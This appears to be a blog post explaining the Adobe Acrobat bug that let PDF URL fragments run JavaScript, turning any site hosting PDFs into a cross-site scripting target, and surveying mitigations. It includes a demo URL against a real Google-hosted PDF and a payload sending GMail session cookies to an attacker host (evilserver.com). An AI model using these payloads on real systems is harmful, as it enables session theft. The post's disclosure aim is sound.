The Adobe JavaScript execution bug recently discovered is a huge security issue for any organization that serves PDF files via its web servers.

This post mentions the bug originally found by Stefano Di Paola and Giorgio Fedon:

It seems that PDF documents can execute JavaScript code for no apparent reason by using the following template:

http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here

You must understand that the attacker doesn’t need to have write access to the specified PDF document.

In other words, the Adobe Acrobat client will execute the JavaScript code. For example, click on the following URL after logging into GMail:

http://www.google.com/librariancenter/downloads/
Tips_Tricks_85×11.pdf#blah=javascript:alert(document.cookie);

If you have Adobe Acrobat, the above URL should open up the PDF and display a JavaScript popup with your Google/GMail cookie (this may not effect certain IE versions so try Firefox for best results, and may require versions 6 or 7 of the Adobe Acrobat reader). It pops up your Google/GMail cookie because Adobe executes the JavaScript in the context of your browser session - since the PDF is hosted by Google, document.cookie relates to your Google/GMail session.

Instead of this demonstration, an attacker could embed malicious JavaScript code to have the cookie value for your Google/GMail session sent to him or her by making you click on a URL such as the following:

http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#blah=
javascript:document.location='http://evilserver.com/capturecookie.cgi?cookie='+
document.cookie;

The above request will cause Acrobat to request http://evilserver.com/capturecookie.cgi with cookie=[your Google/GMail cookie] which can be captured by capturecookie.cgi.

This isn’t Google’s fault. It’s Adobe’s. This is a huge issue for anyone hosting PDF files because there is nothing they can do to easily mitigate the issue. Any web server hosting PDFs is now vulnerable to Cross Site Scripting (XSS) thanks to Adobe. Possible options:

1) Stop hosting PDF files. This may not be an option for many organizations.

2) Sit around and pray that users upgrade to a patched (or rather, a new client without the Open Parameters ‘feature’) Acrobat client, but this isn’t worth holding your breath on - no sane organization is going to accept such a risk - most users do not routinely upgrade their Acrobat readers, and most organizations cannot simply demand their users switch to a non-Adobe PDF reader.

3) Note that in the above example, the browser will only send a GET /path/to/pdf/file.pdf HTTP/1.0 request to the server, so the solution isn’t as simple as filtering requests on the web server. Amit Klein’s post talks about a clever solution involving redirection using a high entropy value to match a new cookie set via the Set-Cookie header.

From a end-user perspective, this post provides a tip on how you can configure Firefox to download PDFs to disk every time.

And it gets worse. The paper highlighting this issue lists the possibility of remote code execution (Mozilla Firefox + Acrobat Reader plugin) but they haven’t released an exploit yet.

If you are interested in this topic, I highly recommend reading the ongoing thread.